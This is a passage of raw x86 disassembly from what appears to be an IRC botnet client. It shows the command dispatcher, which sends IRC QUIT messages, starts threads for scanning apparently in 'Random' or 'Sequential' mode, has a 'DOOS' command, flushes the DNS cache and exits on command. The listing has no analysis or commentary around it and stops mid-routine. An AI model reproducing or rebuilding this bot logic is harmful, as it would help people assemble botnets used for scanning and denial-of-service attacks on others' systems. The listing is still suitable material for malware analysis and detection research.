lea eax, [ebp+var_2C4]
push offset dword_42C34C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
jmp loc_403A72
; ---------------------------------------------------------------------------
loc_403808: ; CODE XREF: sub_401ACD+1D06j
or [ebp+var_730], 0FFFFFFFFh
cmp dword_4317F8, ebx
mov [ebp+var_734], 64h
mov [ebp+var_748], 5
mov [ebp+var_744], eax
mov [ebp+arg_0], ebx
jz short loc_403875
mov eax, [ebp+arg_18]
mov esi, offset dword_4317F8
lea edi, [eax-0Ah]
loc_40383F: ; CODE XREF: sub_401ACD+1D8Aj
lea eax, [esi-28h]
push edi
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_40385B
inc [ebp+arg_0]
add esi, 40h
cmp [esi], ebx
jnz short loc_40383F
jmp short loc_403875
; ---------------------------------------------------------------------------
loc_40385B: ; CODE XREF: sub_401ACD+1D80j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, dword_4317F8[ecx]
mov [ebp+var_74C], ecx
loc_403875: ; CODE XREF: sub_401ACD+1D65j
; sub_401ACD+1D8Cj
cmp [ebp+var_74C], ebx
jz loc_403A86
push 10h
lea eax, [ebp+var_2D4]
pop esi
push eax
lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2D4], esi
push [ebp+arg_4]
call dword_4CB978 ; getsockname
mov al, [ebp+var_8FF]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_308], eax
push [ebp+var_308]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_860]
push eax
call sub_41BFD0
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov esi, eax
lea eax, [ebp+var_860]
push eax
call sub_41C820
add esp, 14h
cmp esi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40391D
loc_4038FB: ; CODE XREF: sub_401ACD+1E4Ej
cmp eax, ebx
jz short loc_40391D
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h
push eax
call sub_41C820
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, esi
jl short loc_4038FB
loc_40391D: ; CODE XREF: sub_401ACD+1E2Cj
; sub_401ACD+1E30j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov esi, [ebp+var_4]
mov edi, [ebp+var_8]
mov [ebp+var_750], eax
lea eax, [ebp+var_850]
push 80h
push eax
mov [ebp+var_720], 1
mov [ebp+var_728], esi
mov [ebp+var_724], edi
call sub_41C360
push offset byte_43DB88
push offset aF ; "#f"
call sub_41CA50
add esp, 14h
test eax, eax
jz short loc_40398A
push offset aF ; "#f"
lea eax, [ebp+var_7D0]
push 80h
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_403990
; ---------------------------------------------------------------------------
loc_40398A: ; CODE XREF: sub_401ACD+1EA0j
mov [ebp+var_7D0], bl
loc_403990: ; CODE XREF: sub_401ACD+1EBBj
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4039A2
mov eax, offset aSequential ; "Sequential"
loc_4039A2: ; CODE XREF: sub_401ACD+1ECEj
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C2CC
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset sub_40C600
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_740]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403A2C
loc_403A1A: ; CODE XREF: sub_401ACD+1F5Dj
cmp [ebp+var_71C], ebx
jnz short loc_403A47
push 32h
call dword_427080 ; Sleep
jmp short loc_403A1A
; ---------------------------------------------------------------------------
loc_403A2C: ; CODE XREF: sub_401ACD+1F4Bj
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C290
push eax
call sub_41C266
add esp, 0Ch
loc_403A47: ; CODE XREF: sub_401ACD+1F53j
cmp edi, ebx
jnz short loc_403A65
push ebx
lea eax, [ebp+var_2C4]
push esi
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_403A65: ; CODE XREF: sub_401ACD+1F7Cj
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
pop ecx
loc_403A72: ; CODE XREF: sub_401ACD+1D36j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_4037B5
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_403A86: ; CODE XREF: sub_401ACD+1DAEj
push offset unk_42C258
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_403A90: ; CODE XREF: sub_401ACD+1B05j
; sub_401ACD+1B1Aj
push 5
call sub_40B602
test eax, eax
pop ecx
jle short loc_403AA6
push offset unk_42C238
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_403AA6: ; CODE XREF: sub_401ACD+1FCDj
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jz short loc_403AC9
push eax
mov edi, 104h
lea eax, [ebp+var_2D54]
push edi
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_403ADD
; ---------------------------------------------------------------------------
loc_403AC9: ; CODE XREF: sub_401ACD+1FE2j
mov edi, 104h
lea eax, [ebp+var_2D54]
push edi
push eax
push ebx
call dword_427078 ; GetModuleFileNameA
loc_403ADD: ; CODE XREF: sub_401ACD+1FFAj
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_403AED
mov esi, offset byte_429108
loc_403AED: ; CODE XREF: sub_401ACD+2019j
push esi
lea eax, [ebp+var_2C50]
push edi
push eax
call sub_41C360
mov eax, dword_429078
push 7Fh
push [ebp+var_88]
mov [ebp+var_2B44], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2B48], ebx
mov [ebp+var_2D58], eax
lea eax, [ebp+var_2B40]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_2AC0], eax
mov eax, [ebp+var_8]
mov [ebp+var_2ABC], eax
lea eax, [ebp+var_2D54]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_2B44]
push offset unk_42C204
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 5
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_2B4C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2D58]
push ebx
push eax
push offset sub_412197
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_2B4C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403BB9
loc_403BA3: ; CODE XREF: sub_401ACD+20EAj
cmp [ebp+var_2AB8], ebx
jnz loc_4081AD
push 32h
call dword_427080 ; Sleep
jmp short loc_403BA3
; ---------------------------------------------------------------------------
loc_403BB9: ; CODE XREF: sub_401ACD+20D4j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42C1C8
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_403BCA: ; CODE XREF: sub_401ACD+1ADBj
; sub_401ACD+1AF0j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403BE9
push edi
call sub_41C159
test eax, eax
pop ecx
jz short loc_403BE9
push edi
call sub_41C159
pop ecx
jmp short loc_403BEE
; ---------------------------------------------------------------------------
loc_403BE9: ; CODE XREF: sub_401ACD+2106j
; sub_401ACD+2111j
mov eax, dword_42907C
loc_403BEE: ; CODE XREF: sub_401ACD+211Aj
mov esi, [ebp+esi+var_88]
mov [ebp+var_36CC], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_36B8], eax
jz short loc_403C21
lea eax, [ebp+var_37D0]
push esi
push eax
call sub_41C266
pop ecx
pop ecx
jmp short loc_403C4C
; ---------------------------------------------------------------------------
loc_403C21: ; CODE XREF: sub_401ACD+2141j
lea eax, [ebp+var_49F4]
push 104h
push eax
call dword_42707C ; GetSystemDirectoryA
push ebx
push ebx
lea eax, [ebp+var_4C8]
push ebx
push eax
lea eax, [ebp+var_49F4]
push eax
call sub_41C3B1
add esp, 14h
loc_403C4C: ; CODE XREF: sub_401ACD+2152j
lea eax, [ebp+var_37D0]
push eax
call sub_41B9C0
cmp [ebp+eax+var_37D1], 5Ch
pop ecx
jnz short loc_403C77
lea eax, [ebp+var_37D0]
push eax
call sub_41B9C0
pop ecx
mov [ebp+eax+var_37D1], bl
loc_403C77: ; CODE XREF: sub_401ACD+2194j
push [ebp+var_88]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A58]
mov [ebp+var_3A5C], esi
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36BC], eax
lea eax, [ebp+var_37D0]
mov [ebp+var_36C0], edi
push eax
push [ebp+var_36CC]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C18C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 3
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_36C4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A5C]
push ebx
push eax
push offset sub_40FAD6
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_36C4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403D2B
loc_403D19: ; CODE XREF: sub_401ACD+225Cj
cmp [ebp+var_36B0], ebx
jnz short loc_403D46
push 32h
call dword_427080 ; Sleep
jmp short loc_403D19
; ---------------------------------------------------------------------------
loc_403D2B: ; CODE XREF: sub_401ACD+224Aj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42C150
loc_403D37: ; CODE XREF: sub_401ACD+23BFj
; sub_401ACD+4BDCj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_403D46: ; CODE XREF: sub_401ACD+2252j
; sub_401ACD+23A3j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
push edi
jmp loc_4071A3
; ---------------------------------------------------------------------------
loc_403D56: ; CODE XREF: sub_401ACD+1AB1j
; sub_401ACD+1AC6j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403D75
push edi
call sub_41C159
test eax, eax
pop ecx
jz short loc_403D75
push edi
call sub_41C159
pop ecx
jmp short loc_403D7A
; ---------------------------------------------------------------------------
loc_403D75: ; CODE XREF: sub_401ACD+2292j
; sub_401ACD+229Dj
mov eax, dword_429080
loc_403D7A: ; CODE XREF: sub_401ACD+22A6j
mov [ebp+var_1828], eax
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jnz short loc_403D91
lea eax, [ebp+var_C4]
loc_403D91: ; CODE XREF: sub_401ACD+22BCj
push eax
lea eax, [ebp+var_1968]
push 40h
push eax
call sub_41C360
mov esi, [ebp+esi+var_84]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403DB3
mov esi, offset byte_43DB88
loc_403DB3: ; CODE XREF: sub_401ACD+22DFj
push esi
lea eax, [ebp+var_1928]
push 100h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_19E8]
push [ebp+var_88]
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1814], eax
lea eax, [ebp+var_1968]
push eax
mov [ebp+var_19EC], esi
push [ebp+var_1828]
mov [ebp+var_1818], edi
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C114
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 9
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_1824], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19EC]
push ebx
push eax
push offset sub_41144E
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_1824]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403E80
loc_403E6A: ; CODE XREF: sub_401ACD+23B1j
cmp [ebp+var_1810], ebx
jnz loc_403D46
push 32h
call dword_427080 ; Sleep
jmp short loc_403E6A
; ---------------------------------------------------------------------------
loc_403E80: ; CODE XREF: sub_401ACD+239Bj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42C0D8
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_403E91: ; CODE XREF: sub_401ACD+1A87j
; sub_401ACD+1A9Cj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_403EA4
push esi
call sub_41C159
jmp short loc_403EAB
; ---------------------------------------------------------------------------
loc_403EA4: ; CODE XREF: sub_401ACD+23CDj
push 0Bh
call sub_40B621
loc_403EAB: ; CODE XREF: sub_401ACD+23D5j
cmp eax, ebx
pop ecx
jz loc_409644
push eax
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BD1A
jmp loc_404376
; ---------------------------------------------------------------------------
loc_403ECB: ; CODE XREF: sub_401ACD+1A5Dj
; sub_401ACD+1A72j
mov eax, dword_4CB8F0
cmp eax, ebx
jz short loc_403EE8
call eax ; DnsFlushResolverCache
test eax, eax
jz short loc_403EE1
push offset unk_42C0B4
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403EE1: ; CODE XREF: sub_401ACD+240Bj
push offset unk_42C088
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403EE8: ; CODE XREF: sub_401ACD+2405j
push offset unk_42C05C
loc_403EED: ; CODE XREF: sub_401ACD+2412j
; sub_401ACD+2419j ...
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
jmp loc_406BFB
; ---------------------------------------------------------------------------
loc_403F03: ; CODE XREF: sub_401ACD+1A33j
; sub_401ACD+1A48j
call sub_40A928
test eax, eax
jz short loc_403F13
push offset unk_42C038
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403F13: ; CODE XREF: sub_401ACD+243Dj
push offset unk_42C00C
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403F1A: ; CODE XREF: sub_401ACD+1A09j
; sub_401ACD+1A1Ej
cmp [ebp+var_8], ebx
jnz short loc_403F39
push ebx
push [ebp+var_4]
push offset dword_42BFF4
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_403F39: ; CODE XREF: sub_401ACD+2450j
push ebx
push [ebp+var_4]
call sub_418723
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push offset unk_42BFD8
jmp loc_40423F
; ---------------------------------------------------------------------------
loc_403F5B: ; CODE XREF: sub_401ACD+18A0j
; sub_401ACD+18B5j
push 0Ah
call sub_40B602
test eax, eax
pop ecx
jle short loc_403F6E
push offset unk_42BFAC
jmp short loc_403F8F
; ---------------------------------------------------------------------------
loc_403F6E: ; CODE XREF: sub_401ACD+2498j
push [ebp+var_88]
push [ebp+arg_4]
call sub_41A1B1
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403F8A
push offset unk_42BF84
jmp short loc_403F8F
; ---------------------------------------------------------------------------
loc_403F8A: ; CODE XREF: sub_401ACD+24B4j
push offset unk_42BF64
loc_403F8F: ; CODE XREF: sub_401ACD+249Fj
; sub_401ACD+24BBj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
loc_403F9D: ; CODE XREF: sub_401ACD+5781j
cmp [ebp+var_8], ebx
jnz short loc_403FBE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_403FB6: ; CODE XREF: sub_401ACD+6DA8j
call sub_409869
add esp, 14h
loc_403FBE: ; CODE XREF: sub_401ACD+24D3j
; sub_401ACD+26B0j ...
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
jmp loc_4097D1
; ---------------------------------------------------------------------------
loc_403FCF: ; CODE XREF: sub_401ACD+1876j
; sub_401ACD+188Bj
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40A5C5
jmp loc_404260
; ---------------------------------------------------------------------------
loc_403FE8: ; CODE XREF: sub_401ACD+184Cj
; sub_401ACD+1861j
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_416FCF
jmp loc_404260
; ---------------------------------------------------------------------------
loc_404005: ; CODE XREF: sub_401ACD+1822j
; sub_401ACD+1837j
or edi, 0FFFFFFFFh
call dword_4270B0 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_40402E
push esi
call sub_41C159
pop ecx
mov edi, eax
loc_40402E: ; CODE XREF: sub_401ACD+2556j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_404047
cmp edi, 0FFFFFFFFh
jnz loc_409644
loc_404047: ; CODE XREF: sub_401ACD+256Fj
push ebx
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BF4C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
loc_404085: ; CODE XREF: sub_401ACD+51BCj
add esp, 24h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40408D: ; CODE XREF: sub_401ACD+17F8j
; sub_401ACD+180Dj
push 27h
call sub_40B602
test eax, eax
pop ecx
jle short loc_4040BE
cmp [ebp+var_8], ebx
jnz loc_401F75
push ebx
push [ebp+var_4]
push offset unk_42BF2C
loc_4040AB: ; CODE XREF: sub_401ACD+4F88j
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
jmp loc_408C05
; ---------------------------------------------------------------------------
loc_4040BE: ; CODE XREF: sub_401ACD+25CAj
push [ebp+var_88]
lea eax, [ebp+var_BC4]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_BC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B38], eax
mov [ebp+var_B40], ebx
jz short loc_40411F
push esi
push offset aFull ; "full"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40411F
mov [ebp+var_B40], 1
loc_40411F: ; CODE XREF: sub_401ACD+2635j
; sub_401ACD+2646j
lea eax, [ebp+var_2C4]
push offset dword_42BF08
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 27h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_B44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC8]
push ebx
push eax
push offset sub_419E38
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_B44]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40418D
loc_404177: ; CODE XREF: sub_401ACD+26BEj
cmp [ebp+var_B34], ebx
jnz loc_403FBE
push 32h
call dword_427080 ; Sleep
jmp short loc_404177
; ---------------------------------------------------------------------------
loc_40418D: ; CODE XREF: sub_401ACD+26A8j
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BECC
push eax
call sub_41C266
add esp, 0Ch
jmp loc_403FBE
; ---------------------------------------------------------------------------
loc_4041AD: ; CODE XREF: sub_401ACD+17CEj
; sub_401ACD+17E3j
cmp [ebp+var_8], ebx
jnz short loc_4041CC
push ebx
push [ebp+var_4]
push offset unk_42BEB4
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4041CC: ; CODE XREF: sub_401ACD+26E3j
push [ebp+arg_4]
call dword_4CBA6C ; closesocket
call dword_4CB92C ; WSACleanup
call sub_4188A6
push ebx
call dword_42706C ; ExitProcess
loc_4041E7: ; CODE XREF: sub_401ACD+17A4j
; sub_401ACD+17B9j
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_41AF8F
pop ecx
pop ecx
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push offset unk_42BE9C
jmp short loc_40423F
; ---------------------------------------------------------------------------
loc_404212: ; CODE XREF: sub_401ACD+177Aj
; sub_401ACD+178Fj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B243
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push offset unk_42BE84
loc_40423F: ; CODE XREF: sub_401ACD+2489j
; sub_401ACD+2743j
call sub_415D38
add esp, 18h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40424C: ; CODE XREF: sub_401ACD+1750j
; sub_401ACD+1765j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415DD8
loc_404260: ; CODE XREF: sub_401ACD+3C8j
; sub_401ACD+2516j ...
add esp, 10h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_404268: ; CODE XREF: sub_401ACD+1726j
; sub_401ACD+173Bj
cmp [ebp+var_C], ebx
mov [ebp+var_1598], bl
jz short loc_4042A7
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4042A7
push esi
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4042A7
push eax
push offset aS_2 ; "%s"
lea eax, [ebp+var_1598]
push 80h
push eax
call sub_41C360
add esp, 10h
loc_4042A7: ; CODE XREF: sub_401ACD+27A4j
; sub_401ACD+27AFj ...
push [ebp+var_88]
lea eax, [ebp+var_1618]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_161C], eax
mov eax, [ebp+var_4]
mov [ebp+var_1514], eax
mov eax, [ebp+var_8]
mov [ebp+var_1510], eax
lea eax, [ebp+var_2C4]
push offset dword_42BE6C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 25h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_1518], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_161C]
push ebx
push eax
push offset sub_415E4B
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_1518]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40434A
loc_404334: ; CODE XREF: sub_401ACD+287Bj
cmp [ebp+var_150C], ebx
jnz loc_401F75
push 32h
call dword_427080 ; Sleep
jmp short loc_404334
; ---------------------------------------------------------------------------
loc_40434A: ; CODE XREF: sub_401ACD+2865j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42BE34
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_40435B: ; CODE XREF: sub_401ACD+16FCj
; sub_401ACD+1711j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415CC0
push offset unk_42BE1C
call sub_415D38
loc_404376: ; CODE XREF: sub_401ACD+23F9j
add esp, 10h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40437E: ; CODE XREF: sub_401ACD+16D2j
; sub_401ACD+16E7j
push [ebp+var_88]
lea eax, [ebp+var_C5C]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_C60], eax
mov eax, [ebp+var_4]
mov [ebp+var_BD4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_BD0], eax
jz short loc_4043D8
push offset dword_42BE18
push esi
call sub_41CA50
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_BD8], eax
jmp short loc_4043DE
; ---------------------------------------------------------------------------
loc_4043D8: ; CODE XREF: sub_401ACD+28EFj
mov [ebp+var_BD8], ebx
loc_4043DE: ; CODE XREF: sub_401ACD+2909j
lea eax, [ebp+var_2C4]
push offset dword_42BDF8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 28h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_BDC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C60]
push ebx
push eax
push offset sub_40B425
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_BDC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40444C
loc_404436: ; CODE XREF: sub_401ACD+297Dj
cmp [ebp+var_BCC], ebx
jnz loc_406C1F
push 32h
call dword_427080 ; Sleep
jmp short loc_404436
; ---------------------------------------------------------------------------
loc_40444C: ; CODE XREF: sub_401ACD+2967j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42BDBC
jmp loc_409091
; ---------------------------------------------------------------------------
loc_40445D: ; CODE XREF: sub_401ACD+1656j
; sub_401ACD+166Bj
push offset aDoos ; "DOOS"
push offset unk_42BDA4
loc_404467: ; CODE XREF: sub_401ACD+29D9j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_404494: ; CODE XREF: sub_401ACD+162Cj
; sub_401ACD+1641j
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
push offset unk_42BD78
jmp short loc_404467
; ---------------------------------------------------------------------------
loc_4044A8: ; CODE XREF: sub_401ACD+1602j
; sub_401ACD+1617j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4044DA
cmp [ebp+var_C], ebx
jz short loc_4044E9
push esi
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4044E9
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
jmp short loc_4044E9
; ---------------------------------------------------------------------------
loc_4044DA: ; CODE XREF: sub_401ACD+29E4j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_409823
pop ecx
pop ecx
loc_4044E9: ; CODE XREF: sub_401ACD+29E9j
; sub_401ACD+29F8j ...
push 0FFFFFFFEh
jmp loc_401F77
; ---------------------------------------------------------------------------
loc_4044F0: ; CODE XREF: sub_401ACD+15D8j
; sub_401ACD+15EDj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_409823
push offset unk_42BD28
call sub_415D38
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_404512: ; CODE XREF: sub_401ACD+15AEj
; sub_401ACD+15C3j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409823
push offset unk_42BCF8
call sub_415D38
add esp, 0Ch
jmp loc_4095AD
; ---------------------------------------------------------------------------
loc_404531: ; CODE XREF: sub_401ACD+1584j
; sub_401ACD+1599j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA9E
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404547: ; CODE XREF: sub_401ACD+155Aj
; sub_401ACD+156Fj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA49
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_40455D: ; CODE XREF: sub_401ACD+1530j
; sub_401ACD+1545j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B9DD
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404573: ; CODE XREF: sub_401ACD+1506j
; sub_401ACD+151Bj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B90E
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404589: ; CODE XREF: sub_401ACD+1461j
; sub_401ACD+1476j
push [ebp+esi+var_8C]
push 27h
push offset dword_42BCE8
push offset dword_42BCD8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4045A1: ; CODE XREF: sub_401ACD+1437j
; sub_401ACD+144Cj
push [ebp+esi+var_8C]
push 24h
push offset dword_42BCCC
push offset dword_42BCBC
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4045B9: ; CODE XREF: sub_401ACD+1050j
; sub_401ACD+1065j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_4045D8
push edi
call sub_41C159
test eax, eax
pop ecx
jz short loc_4045D8
push edi
call sub_41C159
pop ecx
jmp short loc_4045DD
; ---------------------------------------------------------------------------
loc_4045D8: ; CODE XREF: sub_401ACD+2AF5j
; sub_401ACD+2B00j
mov eax, dword_429074
loc_4045DD: ; CODE XREF: sub_401ACD+2B09j
mov esi, [ebp+esi+var_88]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_404602
push esi
loc_4045EF: ; CODE XREF: sub_401ACD+2B44j
lea eax, [ebp+var_5A0]
push 10h
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_404619
